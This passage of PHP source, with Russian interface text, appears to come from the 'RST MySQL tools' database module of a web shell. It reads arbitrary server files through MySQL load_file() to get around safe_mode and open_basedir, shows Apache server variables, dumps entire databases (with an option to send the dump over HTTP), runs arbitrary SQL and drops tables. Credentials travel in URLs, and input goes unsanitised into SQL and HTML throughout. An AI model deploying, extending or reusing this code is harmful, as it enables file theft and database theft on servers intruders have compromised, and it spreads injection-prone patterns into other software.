	// mysql_create_db("tmp_bd",$connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
	// mysql_create_db("tmp_bd") or die("$h_error<b>".mysql_error()."</b>$f_error"); 
	// mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error<b>".mysql_error()."</b>$f_error");
	$result = mysql_query("SELECT hex(load_file('".addslashes($p_file)."')) as `fc`") or die("$h_error<b>".mysql_error()."</b>$f_error");;
	// $query = "SELECT * FROM tmp_file";
	// $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
	/*получаем названия столбцов*/
	for ($i=0;$i<mysql_num_fields($result);$i++){
		$name=mysql_field_name($result,$i);
	} 
	print "<br /><table align=center border=0 cellpadding=5 cellspacing=1 width=90% bgcolor=#FFFFFF><tr><td align=center bgcolor=#DBDCDD>Просмотр файла</td></tr>
		<tr><td background=".$self."?img=st_form_bg bgcolor=#ECEDEE>
		<form method=\"get\" action=\"$self?f=x_file\">
		<input type=\"hidden\" name=\"s\" value=\"$s\">                
		<input type=\"hidden\" name=\"server\" value=\"$server\">
		<input type=\"hidden\" name=\"port\" value=\"$port\">
		<input type=\"hidden\" name=\"login\" value=\"$login\">
		<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
		Полный путь к файлу: <input type=\"text\" name=\"p_file\" value=\"$p_file\" size=\"40\">&nbsp;&nbsp;&nbsp;&nbsp;
		<input type=\"submit\" value=\"показать файл\"></form><br /><div style = \"width: 850px;overflow: scroll;border: dotted 1px #ccc;\"><tt><pre>";

	while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
		foreach ($line as $key =>$col_value) {        
			if(!strlen($col_value)) {
				echo "<div style = \"text-align: center;\"><strong style = \"color: #900;\">Не удается прочитать файл.</strong></div>";
			} else {
				print htmlspecialchars(@pack('H*',$col_value))."<br>";
			}
		}
	}

	mysql_free_result($result);
	print "</pre></tt></div></td></tr></table><br>";
	//  mysql_drop_db("tmp_bd") or die("$h_error<b>".mysql_error()."</b>$f_error");
} 

/*--------------переменные сервера Apache------------*/
if (isset($apc) && $apc=="TRUE"){
 print "<center><font size=2>Переменные сервера Apache [ <b>$server</b> ]</font><center>
 <table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF>
  <tr align=center bgcolor=#B6B5B5>
   <td>Описание</td><td>Переменная</td>
  </tr> 
  <tr bgcolor=#DAD9D9><td>Имя Internet-хоста</td><td>".$_SERVER["SERVER_NAME"]."</td></tr>
  <tr bgcolor=#DAD9D9><td>IP-адрес хоста</td><td>".$_SERVER["SERVER_ADDR"]."</td></tr>
  <tr bgcolor=#DAD9D9><td>Порт Web-сервера.</td><td>".$_SERVER["SERVER_PORT"]."</td></tr>
  <tr bgcolor=#DAD9D9><td>Спецификация CGI интефейса.</td><td>".$_SERVER["GATEWAY_INTERFACE"]."</td></tr>
  <tr bgcolor=#DAD9D9><td>Протокол при запросе данной страницы (метод).</td><td>".$_SERVER["REQUEST_METHOD"]."</td></tr>
  <tr bgcolor=#DAD9D9><td>Root директория для данного пользователя.</td><td>".$_SERVER["DOCUMENT_ROOT"]."</td></tr>
  <tr bgcolor=#DAD9D9><td>Заголовок текущего запроса.</td><td>".$_SERVER["HTTP_CONNECTION"]."</td></tr>
  <tr bgcolor=#DAD9D9><td>Директива httpd.conf (SERVER_ADMIN).</td><td>".$_SERVER["SERVER_ADMIN"]."</td></tr>
  <tr bgcolor=#DAD9D9><td>Сигнатура сервера.</td><td>".$_SERVER["SERVER_SIGNATURE"]."</td></tr>
 </table><br>";
 unset($apc);
}

/*---------------Статистика MySQL сервера--------------*/
if (isset($stat) && $stat=="TRUE"){
$result = mysql_query("SHOW STATUS", $connection); 
 print "<center><font size=2>Переменные состояния MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=400 bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>Переменные состояния сервера</td><td>значения переменных</td></tr>";
 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
   print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td></tr>";  
 } 
  print "</table>";
 mysql_free_result($result);
}

/*---------------Системные переменные MySQL сервера--------------*/
if (isset($var) && $var=="TRUE"){
$result = mysql_query("SHOW VARIABLES ", $connection); 
 print "<center><font size=2>Системные переменные MySQL сервера [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>Переменные сервера</td><td>значения переменных</td></tr>";
 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
   print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td></tr>";  
 } 
  print "</table>";
 mysql_free_result($result);
unset($var);
}

/*-------------вывод данных таблиц------------*/
if (isset($db) && !isset($tbl)) {
$cnt=mysql_num_rows(mysql_list_tables($db)); //кол-во таблиц базы
 print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0>
         <tr>
           <td>
                <table border=0 align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>
                   <tr align=center>                      
                      <td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&cr_tbl=new\" title=\"Создать новую таблицу в базе $db\"><b>Создать таблицу</b></a>
                      </td>
                      <td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=bd\" title=\"Произвольный запрос к базе\"><b>SQL-запрос</b></a>
                      </td>
                      <td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&str=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Показать структуру БД\"><b>структура</b></a>
                      </td>
                      <td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&dump=bd\" title=\"Экспорт данных базы $db\"><b>Дамп базы</b></a>
                      </td>
                      <td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&drop=$db&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Удалить БД $db\" onClick=\"return confirm('Удалить базу $db ?')\";><b>удалить базу</b></a>
                     </td>
                   </tr> 
                </table> 
           </td>
         </tr>
         <tr>
           <td><br>";
               print "&nbsp;&nbsp;БД:(<b>$db</b>)  &nbsp;&nbsp;Всего таблиц:(<b>$cnt</b>)";
               if (isset($t)) { print "<br>&nbsp;&nbsp;".base64_decode($t);}
               if (isset($t2)) { print base64_decode($t2);}
/*-------------Структура базы ------------------*/
if (isset($str) && $str=='TRUE'){
  mysql_select_db($db);
  if ($cnt < 1) { 
      print "<table border=1 width=400 align=center bgcolor=#E7E7D7><tr align=center>".
            "<td><br><h5>Невозможно показать структуру базы<br>В базе <font color=blue>".
            "$db</font> нет таблиц!</h5></td></tr></table><br><br>";     
  }else{
    $result = mysql_query("SHOW TABLE STATUS", $connection); 
    print "<br><center><font size=2>Структура базы [ <b>$db</b> ]</font></center>".
          "<table align=center border=0 cellpadding=0 cellspacing=1 width=650 bgcolor=#FFFFFF>".
          "<tr align=center bgcolor=#B6B5B5><td>имя таблицы</td><td>тип</td><td>рядов</td><td>создана</td>".
          "<td>модифицирована</td><td>размер(kb)</td><td>действие</td></tr>";
    while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
      $size=$row[5]/1000;
      print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td><td align=center>$row[3]</td>".
            "<td>$row[10]</td><td>$row[11]</td><td align=center>$size</td><td bgcolor=red align=center>".
            "<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&".
            "port=$port&drop_table=$row[0]\" onClick=\"return confirm('Удалить таблицу $row[0]?');\">уничтожить</a></td>
            </tr>";  
    } 
    print "</table><br>";
    mysql_free_result($result);
  }
} 

print "    </td>
         </tr>
       </table>";
}

/*------------дамп базы----------------*/
$form_dump_bd=
"<form method=\"get\" action=\"$self\">".
"<input type=\"hidden\" name=\"s\" value=\"$s\">".
"<input type=\"hidden\" name=\"db\" value=\"$db\">".
"<input type=\"hidden\" name=\"server\" value=\"$server\">".
"<input type=\"hidden\" name=\"port\" value=\"$port\">".
"<input type=\"hidden\" name=\"login\" value=\"$login\">".
"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
"<input type=\"hidden\" name=\"f_dump\" value=\"$file\">".
"<input type=\"hidden\" name=\"dump\" value=\"bd\">".
"<input type=\"hidden\" name=\"strukt\" value=\"d_strukt_bd\">".
"<table align=center bgcolor=#FFFFFF width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>".
"<table cellpadding=2 bgcolor=#F0F1F4 width=100%>".
"<tr><td align=center><b>Dump базы</b> [ <font color=green><b>$db</b></font> ]</td></tr>".
"<tr><td align=center><font color=gray><b>Структура и данные</b></font></td></tr>".
"<tr><td align=center><hr size=1 color=#FFFFFF><b>Действие</b> (показать/отправить)</td></tr>".
"<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> Показать в броузере</td></tr>".
"<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> Отправить файл дампа по HTTP</td></tr>".
"<tr><td align=center><br><input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
"</table>".
"</td></tr></table></form>";

if ($_GET['dump']=='bd') {
   if ($cnt >= 1) {
      print $form_dump_bd;
   }else{ 
      print "<table border=1 width=400 align=center bgcolor=#E7E7D7><tr align=center>".
            "<td><br><h5>Невозможно сделать дамп базы<br>В базе <font color=blue>".
            "$db</font> нет таблиц!</h5></td></tr></table><br><br>";
   }
}
   $host = $_SERVER["SERVER_NAME"];
   $ip = $_SERVER["SERVER_ADDR"];
if ($_GET['strukt']=='d_strukt_bd' && $_GET['send']=='send_br'){
   if (sizeof($tabs) == 0) { 
      // получаем список таблиц базы 
      $res = mysql_query("SHOW TABLES FROM $db", $connection); 
      if (mysql_num_rows($res) > 0) { 
         while ($row = mysql_fetch_row($res)) { 
            $tabs[] .= $row[0]; 
         } 
      } 
   } 
       // открываем файл для записи дампа 
   $fp = fopen($file, "w"); 
   fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
   date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n"); 
   foreach($tabs as $tab) {       
      if ($add_drop) { 
         fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
      }        
      // получаем текст запроса создания структуры таблицы 
      $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error()); 
      $row = mysql_fetch_row($res); 
      fputs($fp, $row[1].";\n\n"); 
       
      // получаем данные таблицы 
      $res = mysql_query("SELECT * FROM `$tab`", $connection); 
      if (mysql_num_rows($res) > 0) { 
         while ($row = mysql_fetch_assoc($res)) { 
            $keys = implode("`, `", array_keys($row)); 
            $values = array_values($row); 
            foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
            $values = implode("', '", $values); 
            $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; 
            fputs($fp, $sql); 
         } 
      } 
      fputs ($fp, "#---------------------------------------------------------------------------------\n\n"); 
   } 
   fclose($fp);
   $dump_file=file($file);
   print "<table border=1 align=center cellpadding=2 bgcolor=#F0F1F4 width=98%><tr><td>";
   print "<table border=0 align=center cellpadding=2 bgcolor=#F0F1F4>";
   foreach ($dump_file as $k=>$v) {
        $v=str_replace("\n","<br>",$v);
        print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";
   }
   print "</table></td></tr></table><br>";
   unlink($file);
} 

/*--------------Создать новую таблицу---------------*/
 $form_cr_tbl=
 "<form method=\"get\" action=\"$self\">".
 "<input type=\"hidden\" name=\"s\" value=\"$s\">".
 "<input type=\"hidden\" name=\"db\" value=\"$db\">".
 "<input type=\"hidden\" name=\"server\" value=\"$server\">".
 "<input type=\"hidden\" name=\"port\" value=\"$port\">".
 "<input type=\"hidden\" name=\"login\" value=\"$login\">".
 "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
 "<table align=center bgcolor=#FFFFFF width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>".
 "<table cellpadding=2 bgcolor=#F0F1F4 width=100%>".
 "<tr><td align=center><b>Создать новую таблицу в базе</b> [ <font color=green><b>$db</b></font> ]<hr color=#FFFFFF></td></tr>".
 "<tr><td align=center>Имя новой таблицы: <input type=\"text\" name=\"new_tbl_name\" value=\"\" size=25></td></tr>".
 "<tr><td align=center>Количество полей таблицы:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"text\" name=\"new_count_cols\" value=\"\" size=10></td></tr>".
 "<tr><td align=center><br><input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
 "</table>".
 "</td></tr></table></form>";


if (isset($_GET['cr_tbl']) && $_GET['cr_tbl']=='new'){
  print "$form_cr_tbl";   
}
if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) { 
    print "<script>alert('Количество полей таблицы - это число, а не что-то иное!');</script>";
    print "$form_cr_tbl";   
}  

if ( (ereg("[0-9]",$_GET['new_count_cols'])) && ($_GET['new_tbl_name'] !=='') ) {

 for ($i=0; $i < $_GET['new_count_cols']; $i++) {

  $pole_count .= "<tr align=center bgcolor=#DDDDDD>".
      "<td><input type=\"text\" name=\"field_name[]\" size=\"10\" value=\"\"></td>".
      "<td>
            <select name=\"field_type[]\" width=3>
                <option value=\"VARCHAR\">VARCHAR</option>
                <option value=\"TINYINT\">TINYINT</option>
                <option value=\"TEXT\">TEXT</option>
                <option value=\"DATE\">DATE</option>
                <option value=\"SMALLINT\">SMALLINT</option>
                <option value=\"MEDIUMINT\">MEDIUMINT</option>
                <option value=\"INT\">INT</option>
                <option value=\"BIGINT\">BIGINT</option>
                <option value=\"FLOAT\">FLOAT</option>
                <option value=\"DOUBLE\">DOUBLE</option>
                <option value=\"DECIMAL\">DECIMAL</option>
                <option value=\"DATETIME\">DATETIME</option>
                <option value=\"TIMESTAMP\">TIMESTAMP</option>
                <option value=\"TIME\">TIME</option>
                <option value=\"YEAR\">YEAR</option>
                <option value=\"CHAR\">CHAR</option>
                <option value=\"TINYBLOB\">TINYBLOB</option>
                <option value=\"TINYTEXT\">TINYTEXT</option>
                <option value=\"BLOB\">BLOB</option>
                <option value=\"MEDIUMBLOB\">MEDIUMBLOB</option>
                <option value=\"MEDIUMTEXT\">MEDIUMTEXT</option>
                <option value=\"LONGBLOB\">LONGBLOB</option>
                <option value=\"LONGTEXT\">LONGTEXT</option>
                <option value=\"ENUM\">ENUM</option>
                <option value=\"SET\">SET</option>
            </select>
        </td>".
      "<td><input type=\"text\" name=\"field_length[]\" size=\"6\" value=\"\"></td>".
      "<td>
            <select name=\"field_attribute[]\">    
                <option value=\"\" selected=\"selected\"></option>
                <option value=\"BINARY\">BINARY</option>
                <option value=\"UNSIGNED\">UNSIGNED</option>
                <option value=\"UNSIGNED ZEROFILL\">UNS-D ZEROFILL</option>
            </select>
      </td>".
      "<td>
            <select name=\"field_null[]\">   
                <option value=\"NOT NULL\">not null</option>
                <option value=\"\">null</option>
            </select>
       </td>".
       "<td><input type=\"text\" name=\"field_default[]\" size=\"14\" value=\"\"></td>".
       "<td>
            <select name=\"field_extra[]\">
                <option value=\"\"></option>
                <option value=\"AUTO_INCREMENT\">auto_increment</option>
             </select>
        </td>".
        "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"primary_0\"></td>".
        "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"index_0\"></td>".
        "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"unique_0\"></td>".
        "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"no\" checked=\"checked\"></td>".
      "</tr>";
 }

  print 
     "<form method=\"get\" action=\"$self\">".
     "<input type=\"hidden\" name=\"s\" value=\"$s\">".
     "<input type=\"hidden\" name=\"db\" value=\"$db\">".
     "<input type=\"hidden\" name=\"new_tbl_name\" value=\"$new_tbl_name\">".
     "<input type=\"hidden\" name=\"server\" value=\"$server\">".
     "<input type=\"hidden\" name=\"port\" value=\"$port\">".
     "<input type=\"hidden\" name=\"login\" value=\"$login\">".
     "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
     "<table align=center bgcolor=#FFFFFF width=98% cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>".
     "<table cellpadding=2 bgcolor=#F0F1F4 width=100%>".
     "<tr><td align=center><b>Создать новую таблицу</b> [ <font color=green><b>$new_tbl_name</b></font> ] <b>в базе</b> [ <font color=green><b>$db</b></font> ]<hr color=#FFFFFF></td></tr>".
     "<tr><td align=center>".
     "<table bgcolor=#000000 border=0 cellspacing=1 cellpadding=2 bgcolor=#F0F1F4 width=100%>".
     "<tr align=center bgcolor=silver><td><b>Поле</b></td><td><b>Тип</b></td><td><b>Длинна</b></td><td><b>Атрибуты</b></td><td><b>Ноль</b></td><td><b>По умолчанию</b></td><td><b>Дополнительно</b></td><td><b>Первичный</b></td><td><b>Индекс</b></td><td><b>Уник-oе</b></td><td><b>---</b></td></tr>";


            print $pole_count;


print
    "</table><br><b>Коментарий к таблице:</b> <input type=\"text\" name=\"comment\" size=\"40\" maxlength=\"80\">
     &nbsp;&nbsp;&nbsp;&nbsp;<b>Тип таблицы:</b>
            <select name=\"tbl_type\">
                <option value=\"Default\">По умолчанию</option>
                <option value=\"MYISAM\">MyISAM</option>
                <option value=\"HEAP\">Heap</option>
                <option value=\"MERGE\">Merge</option>
                <option value=\"ISAM\">ISAM</option>
            </select>&nbsp;&nbsp;&nbsp;&nbsp;
           <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> Показать PHP-код запроса
    </td></tr>".
    "<tr><td align=center><br><input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
    "</table>".
    "</td></tr></table></form>";
}

if (isset($_GET['field_name'])) {

    for ($i=0; $i<count($field_name); $i++) {
       if ($_GET['field_name'][$i] !=='') {
         $n_name .= "`$field_name[$i]` ";
         if ($_GET['field_length'][$i] !=='') {
             $n_name .= "$field_type[$i]($field_length[$i]) ";
         }else{
             $n_name .= "$field_type[$i] ";
         }
         if ($_GET['field_attribute'][$i] !=='') { $n_name .= "$field_attribute[$i] "; }
         if ($_GET['field_null'][$i] =='NOT NULL') { $n_name .= "$field_null[$i] "; }
         if ($_GET['field_default'][$i] !=='') { $n_name .= "DEFAULT '$field_default[$i]' "; }
         if ($_GET['field_extra'][$i] =='AUTO_INCREMENT') { $n_name .= "$field_extra[$i], "; }else{ $n_name .=', '; }

         /*--------Наличие primary,index,unique----------*/
         if ($_GET['field_key_0'][$i] !=='no') { 
            if ($_GET['field_key_0'][$i] =='primary_0') {
                $n_prim .= " `$field_name[$i]`, "; 
            }
            if ($_GET['field_key_0'][$i] =='index_0') { 
                $n_ind .= " `$field_name[$i]`, "; 
            }
            if ($_GET['field_key_0'][$i] =='unique_0') { 
                $n_uniq .= " `$field_name[$i]`, "; 
            }
         }
         /*--------END primary,index,unique----------*/
       }
    }  //end for

    $n_name=substr_replace($n_name,"",-2);                     
    if (count($n_prim)>0) {
       $n_prim=substr_replace($n_prim,"",-2); 
       $n_name .=", PRIMARY KEY ($n_prim)";
    }
    if (count($n_ind)) {
       $n_ind=substr_replace($n_ind,"",-2); 
       $n_name .=", INDEX ($n_ind)";
    }
    if (count($n_uniq)) {
       $n_uniq=substr_replace($n_uniq,"",-2); 
       $n_name .=", UNIQUE ($n_uniq)";
    }

   $sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )";

   if ($_GET['tbl_type'] !=='Default') {
      $sql_new_tbl .= " TYPE =$tbl_type";
   }
   if ($_GET['comment'] !=='') {
     $sql_new_tbl .= " COMMENT = '$comment'";
   }       

  $r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error");
  $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#706D6D size=2>Таблица [ <b>$new_tbl_name</b> ] успешно создана.</font><br>");
   if ($_GET['php_kod']=='ok') { 
        $t2=base64_encode("<br><table bgcolor=#EDEEF1 align=center width=98%><font color=green><b>PHP-код запроса:</b></font><tr><td>\$sql='$sql_new_tbl';</td></tr></table><br><br>");
   }else{ $t2=''; }
  print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&t=$t&t2=$t2'></head>";
} 

/*--------------END cоздать новую таблицу---------------*/

/*-------------Произвольный запрос к БД-------------*/
if ($_GET['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; }
if ($_GET['return_sql']=='ok') { $q_bd=trim($_GET['new_query_bd']);}
$form_query_db="<br>
        <form method=\"get\" action=\"$self?s=$s\">
        <input type=\"hidden\" name=\"s\" value=\"$s\">                
        <input type=\"hidden\" name=\"db\" value=\"$db\">
        <input type=\"hidden\" name=\"server\" value=\"$server\">
        <input type=\"hidden\" name=\"port\" value=\"$port\">
        <input type=\"hidden\" name=\"login\" value=\"$login\">
        <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
        <table align=center width=90% border=0 bgcolor=#EDEEF1><tr><td>Выполнить произвольный запрос к базе ( <b>$db</b> )</td></tr>
        <tr><td width=90>
        <textarea name=\"new_query_bd\" rows=\"10\" cols=\"80\">$q_bd</textarea>
        </td><td valign=top>
        <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> Показать PHP-код запроса<br><br>
        <input type=\"checkbox\" name=\"return_sql\" value=\"ok\" checked=\"checked\"> Показать данный запрос снова<br>
        <br>
        <a href=\"$self?s=$s&q_help=ok\" target=\"_blank\"><b>Примеры запросов</b></a>
        </td></tr>
        <tr><td>
        <input type=\"submit\" value=\"запрос\">
        </td></tr>
        </table></form>";

if (isset($db) && $_GET['q_tbl']=='bd') { 
  print $form_query_db; 
}
if (isset($new_query_bd)) { 
   $new_query_bd=trim($new_query_bd);
   print $form_query_db;
   if ($_GET['php_kod']=='ok') { 
        print "&nbsp;&nbsp;&nbsp;<font color=green><b>PHP-код запроса:</b></font><br>&nbsp;&nbsp;&nbsp;\$sql=\"$new_query_bd\";<br><br>";
   }
  $r_q_bd=mysql_db_query($db, $new_query_bd) or die("$h_error".mysql_error()."$f_error");

  print "&nbsp;&nbsp;&nbsp;<b>Запрос успешно выполнен<b>";
  if ($r_q_bd !=='') {
    print "<table align=center width=98% bgcolor=#D7D8DA>";
    while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) {
        print "<tr>";
        foreach ($line_bd as $key_bd =>$col_value_bd) {          
            print "<td bgcolor=#EDEEF1>".htmlspecialchars($col_value_bd)."</td>";
        }
        print "</tr>";
    }
    print "</table><br>";
    @mysql_free_result($r_q_bd);
  }
} 

/*---------------Удаление таблицы------------*/
if (isset($drop_table) && isset($db)){ 
 mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error"); 
 $query = "DROP TABLE IF EXISTS $drop_table";
 $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
 $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#706D6D size=2>Таблица [ <b>$drop_table </b>] успешно удалена.</font><br>");
 print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&t=$t'></head>";
 unset($drop_table);
}
if (isset($q_i)) { $n_img($tag,$f_n,$img_c); }

if (isset($db) && isset($tbl)) {
 /*Получаем количество строк в таблице*/
 $count=mysql_query ("SELECT COUNT(*) FROM `$tbl`");
 $count_row= mysql_fetch_array($count);  //$count_row[0] кол-во строк
 mysql_free_result($count);
 print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0>
         <tr> 
           <td>
                <table align=center border=0 width=700 cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>
                   <tr align=center>                      
                      <td width=100 bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&tbl=$tbl&st_tab=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Показать структуру $tbl\"><b>Структура</b></a>
                      </td>
                      <td width=100 bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&tbl=$tbl&login=$login&passwd=$passwd&server=$server&port=$port&nn_row=ok\" title=\"Вставить новый ряд в таблицу $tbl\"><b>Вставить</b></a>
                      </td>
                      <td width=120 bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&tbl=$tbl&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=table\" title=\"Произвольный SQL запрос\"><b>SQL-запрос</b></a>
                      </td>
                      <td width=120 bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl&dump=tab\" title=\"Экспорт данных таблицы $tbl\"><b>Дамп таблицы</b></a>
                      </td>
                      <td width=120 bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl&alter_table=TRUE\" title=\"Переименовать таблицу $tbl\"><b>Переименовать</b></a>
                      </td>
                      <td width=120 bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&drop_table=$tbl&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Удалить таблицу $tbl\" onClick=\"return confirm('Удалить таблицу $tbl ?');\"><b>Удалить таблицу</b></a>
                     </td>
                   </tr>
                </table> 
           </td>
         </tr>
         <tr>
           <td><br>";
                if (isset($t)) { print "&nbsp;&nbsp;".base64_decode($t);}
                print "&nbsp;&nbsp;БД:(<b>$db</b>)&nbsp;&nbsp;&nbsp;&nbsp;Таблица:(<b>$tbl</b>)&nbsp;&nbsp;&nbsp;
                Всего строк:(<b>$count_row[0]</b>)
           </td>
         </tr>
         <tr>
           <td> 
<table border=0 width=100% cellpadding=4 cellspacing=0 bgcolor=#FFFFFF>
 <tr>
   <td bgcolor=#E6E7E9 align=center valign=\"middle\">";

$start=$limit_start+$limit_count;

if (isset($start) && ($start>0)) {
 print "<table align=center border=0 cellpadding=4 cellspacing=0>
        <tr>";
       
if ($start+$limit_count >= $count_row[0]){
$start=$limit_start;
$limit_count=$count_row[0]-$start;
}

if (isset($start) && ($limit_start >= 30) ){
  $back=$limit_start-30;
  print "<td bgcolor=#FFFFFF align=center>       
		<form method=\"get\" action=\"$self\">
        <input type=\"hidden\" name=\"server\" value=\"$server\">
        <input type=\"hidden\" name=\"port\" value=\"$port\">
        <input type=\"hidden\" name=\"login\" value=\"$login\">
        <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
        <input type=\"hidden\" name=\"db\" value=\"$db\">
        <input type=\"hidden\" name=\"s\" value=\"$s\">
        <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
        <input type=\"hidden\" name=\"limit_start\" value=\"$back\">
        <input type=\"hidden\" name=\"limit_count\" value=\"30\">
        <input type=\"submit\" value=\"<< назад(30)\">&nbsp;&nbsp;
        </form>
		</td>";
}

print " <td bgcolor=#FFFFFF align=center>
		<form method=\"get\" action=\"$self\">
        <input type=\"hidden\" name=\"server\" value=\"$server\">
        <input type=\"hidden\" name=\"port\" value=\"$port\">
        <input type=\"hidden\" name=\"login\" value=\"$login\">
        <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
        <input type=\"hidden\" name=\"db\" value=\"$db\">
        <input type=\"hidden\" name=\"s\" value=\"$s\">
        <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
        <input type=\"submit\" value=\"показать\">&nbsp;&nbsp;от
        <input type=\"text\" name=\"limit_start\" value=\"$start\" size=\"5\" maxlength=\"5\">строки
        &nbsp;&nbsp; <input type=\"text\" name=\"limit_count\" value=\"$limit_count\" size=\"5\" maxlength=\"5\">строк таблицы
        </form></td>";

if ( isset($limit_start) && ($start <= $count_row[0]) ){
 print "<td bgcolor=#FFFFFF align=center>
		<form method=\"get\" action=\"$self\">
        <input type=\"hidden\" name=\"server\" value=\"$server\">
        <input type=\"hidden\" name=\"port\" value=\"$port\">
        <input type=\"hidden\" name=\"login\" value=\"$login\">
        <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
        <input type=\"hidden\" name=\"s\" value=\"$s\">
        <input type=\"hidden\" name=\"db\" value=\"$db\">
        <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
        <input type=\"hidden\" name=\"limit_start\" value=\"$start\">
        <input type=\"hidden\" name=\"limit_count\" value=\"30\">
        <input type=\"submit\" value=\"вперед(30)>>\">
        </form></td>";
}

print "</tr></table>";
}


/*------------Переименование таблицы------------*/
if ($alter_table=="TRUE"){
print " <form method=\"get\" action=\"$self\">
        <input type=\"hidden\" name=\"s\" value=\"$s\">
        <input type=\"hidden\" name=\"server\" value=\"$server\">
        <input type=\"hidden\" name=\"port\" value=\"$port\">
        <input type=\"hidden\" name=\"login\" value=\"$login\">
